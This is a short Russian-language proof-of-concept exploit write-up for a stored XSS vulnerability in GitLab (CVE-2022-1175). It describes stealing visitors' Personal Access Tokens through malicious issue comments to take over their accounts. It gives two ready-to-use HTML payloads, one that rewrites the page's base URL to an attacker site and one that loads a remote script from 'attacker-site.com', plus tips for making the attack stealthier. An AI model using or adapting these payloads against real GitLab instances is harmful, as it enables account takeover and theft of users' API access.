
Эксплойт с доказательством концепции для хранимого XSS в GitLab (CVE-2022-1175), позволяющий кражу персонального токена доступа и захват учётной записи через вредоносные комментарии к задачам.
Хранимая XSS-уязвимость GitLab может быть установлена в issue проекта, как своего, так и чужого. Позволяет такие атаки, как создание и кража Personal Access Token (PAT) любого, кто посещает issue. PAT затем могут предоставить полный доступ к GitLab API от имени этого пользователя, что эквивалентно полному захвату аккаунта.
Может быть использована путем изменения базового URL проекта на ваш сайт, так что скрипты будут загружаться с вашего сайта. Измените JavaScript на вашем сайте, чтобы он соответствовал именам скриптов, вызываемых на странице. Однако это может нарушить работу страницы.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
Обычное включение скрипта также работает в зависимости от политики CSP сайта. Это более скрытно.
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
Разработчики GitLab любезно включили полную строку XSS в код, которую можно найти здесь:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
Ссылка:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175